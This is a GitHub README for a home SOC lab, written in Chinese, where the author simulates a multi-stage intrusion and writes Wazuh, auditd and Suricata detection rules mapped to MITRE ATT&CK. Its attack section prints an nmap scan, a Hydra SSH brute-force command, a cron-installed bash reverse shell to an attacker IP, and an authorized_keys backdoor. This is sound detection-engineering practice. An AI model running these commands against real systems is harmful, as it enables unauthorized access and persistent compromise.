Riyajath/soc-lab

GitHub: Riyajath/soc-lab

一个家庭 SOC 实验室项目,通过模拟多阶段网络入侵并编写自定义检测规则,帮助安全从业者练习端到端的威胁检测与日志分析。

Stars: 0 | Forks: 0

# 🛡️ 家庭 SOC 实验室 — 攻击模拟与检测 ## 📌 概述 该实验室旨在超越被动式学习——每一个组件都是由我亲自构建、破坏并调试的。其目标是模拟一次多阶段入侵,编写并调整自定义检测规则,并验证告警能否进行端到端的正确触发。本文章中记录的每一项检测,都是通过阅读原始日志、查明规则未触发的原因并加以解决后才得到确认的。 **重点关注领域:** 威胁检测 · 日志分析 · IDS 调优 · SIEM 关联分析 · MITRE ATT&CK 映射 ## 🖧 实验室拓扑 ``` ┌─────────────────────────────────────────────────────────┐ │ Android Mobile Hotspot │ │ (Network Gateway / DHCP) │ └──────────────────────┬──────────────────────────────────┘ │ ┌────────────┴─────────────┐ │ │ ┌─────────▼──────────┐ ┌──────────▼──────────┐ │ Laptop 1 │ │ Laptop 2 │ │ (Attacker) │ │ (Defender) │ │ │ │ │ │ ┌──────────────┐ │ │ ┌───────────────┐ │ │ │ Kali Linux │ │ │ │ Linux Mint │ │ │ │ (Attacker │ │ │ │ (Target VM + │ │ │ │ VM) │ │ │ │ Wazuh Agent │ │ │ └──────────────┘ │ │ │ + auditd │ │ │ │ │ │ + Suricata) │ │ │ │ │ └───────────────┘ │ │ │ │ │ │ │ │ ┌───────────────┐ │ │ │ │ │ pfSense │ │ │ │ │ │ (Firewall / │ │ │ │ │ │ Router VM) │ │ │ │ │ └───────────────┘ │ │ │ │ │ │ │ │ ┌───────────────┐ │ │ │ │ │ Wazuh Server │ │ │ │ │ │ (SIEM/XDR) │ │ │ │ │ └───────────────┘ │ └────────────────────┘ └──────────────────────┘ ``` **流量流向:** Kali → 移动热点 → pfSense → Linux Mint 目标机 **监控:** Linux Mint 上的 Wazuh agent 将日志发送至 Wazuh Server · Suricata 在线检查网络流量 ## 🧰 工具与技术栈 | 层级 | 工具 | 角色 | |---|---|---| | SIEM / XDR | Wazuh | 日志接入、关联分析、告警、FIM | | IDS | Suricata | 网络级威胁检测 | | 主机审计 | auditd | Syscall 级别活动日志记录 | | 防火墙 / 路由器 | pfSense | 网络分段、流量控制 | | 攻击者 OS | Kali Linux | 攻击工具(Hydra, Nmap, ssh-keygen) | | 目标 OS | Linux Mint | 部署完整监控栈的受害终端 | | 暴力破解工具 | Hydra | SSH 凭据暴力破解模拟 | | 持久化机制 | cron + authorized_keys | 模拟后渗透阶段的持久化 | ## ⚔️ 攻击模拟 — Kill Chain 完整的攻击从 Kali Linux 针对目标 Linux Mint 执行,整个过程分为四个阶段,并映射至 MITRE ATT&CK。 ### 阶段 1 — 侦察 **工具:** Nmap **操作:** 进行端口扫描以识别目标上开放的服务 ``` nmap -sV -p 22 10.xx.xx.135 ``` | ATT&CK ID | 战术 | 描述 | |---|---|---| | T1046 | Discovery — Network Service Scanning | 扫描目标主机以识别暴露的 SSH 服务 | ### 阶段 2 — SSH 暴力破解(初始访问) **工具:** Hydra **操作:** 使用字典对 SSH 发起字典攻击 ``` hydra -l -P /usr/share/wordlists/rockyou.txt ssh://10.xx.xx.135 ``` | ATT&CK ID | 战术 | 描述 | |---|---|---| | T1110.001 | Credential Access — Brute Force: Password Guessing | 系统性地尝试密码以获取 SSH 访问权限 | | T1021.004 | Lateral Movement — Remote Services: SSH | 使用通过暴力破解获得的有效凭据通过 SSH 进行身份验证 | ### 阶段 3 — 通过 Cron Job 实现持久化 **操作:** 安排了一个定时任务以重新建立攻击者的持久存在 ``` (crontab -l; echo "* * * * * /bin/bash -i >& /dev/tcp/10.xx.xx.124/4444 0>&1") | crontab - ``` | ATT&CK ID | 战术 | 描述 | |---|---|---| | T1053.003 | Persistence — Scheduled Task/Job: Cron | 滥用 cron 定期执行恶意命令 | ### 阶段 4 — 通过 authorized_keys 留存后门 **操作:** 将攻击者的公钥注入到目标的 `authorized_keys` 文件中,以实现免密再次进入 ``` echo "" >> ~/.ssh/authorized_keys ``` | ATT&CK ID | 战术 | 描述 | |---|---|---| | T1098.004 | Persistence — Account Manipulation: SSH Authorized Keys | 修改 authorized_keys 以允许无需凭据的持久化基于密钥的 SSH 访问 | ## 🔍 检测规则与告警 以下所有检测都需要编写或修改自定义规则。每一条规则都是通过阅读单个日志管道——`auditd` 日志、Suricata 的 fast.log 和 Wazuh 的 `ossec.log`——进行调试的,以追踪规则未触发的原因并加以解决。 ### 检测 1 — SSH 暴力破解 (Wazuh) **触发条件:** 来自单一源 IP 的重复 SSH 身份验证失败尝试 **规则来源:** 基于 `sshd` 日志模式调整的自定义 Wazuh 规则 **日志来源:** Wazuh agent 提供的 `/var/log/auth.log` ``` 5760 SSH brute force attempt detected T1110.001 ``` **告警触发:** ✅ Wazuh Dashboard — 级别 10 告警,包含源 IP 和尝试次数 ### 检测 2 — Cron 持久化 (Wazuh + auditd) **触发条件:** 由非 root、非计划任务进程写入 crontab **规则来源:** 针对 crontab 路径的 auditd 监控规则,在 Wazuh 中进行关联 **日志来源:** auditd → `/var/log/audit/audit.log` ``` # auditd watch rule -w /var/spool/cron/crontabs -p wa -k persistence_cron ``` **告警触发:** ✅ Wazuh 检测到 `persistence_cron` 键值事件,包含用户、PID 和命令上下文 ### 检测 3 — Suricata 网络告警 (SSH 暴力破解) **触发条件:** 针对 22 端口的高频 SSH 连接尝试 **规则来源:** 自定义 Suricata 规则 ``` alert tcp any any -> $HOME_NET 22 (msg:"SSH Brute Force Attempt"; \ flow:to_server; threshold:type threshold, track by_src, count 10, seconds 60; \ sid:1000001; rev:1;) ``` **告警触发:** ✅ `/var/log/suricata/fast.log` — 来自 Kali 源 IP 的重复命中记录 ### 检测 4 — 针对 authorized_keys 的 FIM 告警 (Wazuh syscheck) **触发条件:** 对 `~/.ssh/authorized_keys` 的修改 **规则来源:** 具有自定义监控路径的 Wazuh FIM (syscheck) ``` /home//.ssh ``` **告警触发:** ✅ Wazuh FIM 告警 — 标记文件修改,并附帷新增密钥内容的差异对比 ## 💡 关键收获 **检测工程是一个迭代的过程。** 本实验室中的每一条规则都经历了编写、测试、发现无响应、调试并修复的过程。“规则存在”与“告警触发”之间的差距,正是培养真正 SOC 技能的地方。 **理解日志管道至关重要。** 将无响应的 Suricata 告警追溯到缺失的 runtime 目录,或者将 auditd 的键值事件与 Wazuh 规则相关联——这需要理解每一个工具的数据流向,而不仅仅是它的仪表盘。 **分层可见性能够捕捉到单个工具遗漏的内容。** 暴力破解在主机层(Wazuh/auth.log)和网络层(Suricata)都被捕捉到了。持久化则是通过 FIM *以及* auditd 被发现的——针对同一项技术的两个独立信号。 **将 MITRE ATT&CK 作为设计框架。** 在执行每项攻击阶段之前先进行映射,迫使我有意识地去思考每项技术会留下哪些痕迹——以及检测栈是否已经做好了一探究竟的准备。 ## 📁 仓库结构 ``` soc-home-lab/ ├── README.md ← This file ├── topology/ │ └── network-diagram.png ├── rules/ │ ├── wazuh-custom-rules.xml │ ├── suricata-custom.rules │ └── auditd-rules.conf ├── logs/ │ └── sample-alerts/ ← Redacted alert screenshots └── attack-scripts/ └── simulation-notes.md ``` ## 👤 作者 **Riyajath Hameed P.** 计算机科学理学学士 | 有志成为 SOC Analyst [LinkedIn](https://linkedin.com/riyajath/) · [GitHub](https://github.com/Riyajath)
标签:IP 地址批量处理, Metaprompt, pfSense, SOC实验室, Suricata, Wazuh, x64dbg, 安全运营, 扫描框架, 现代安全运营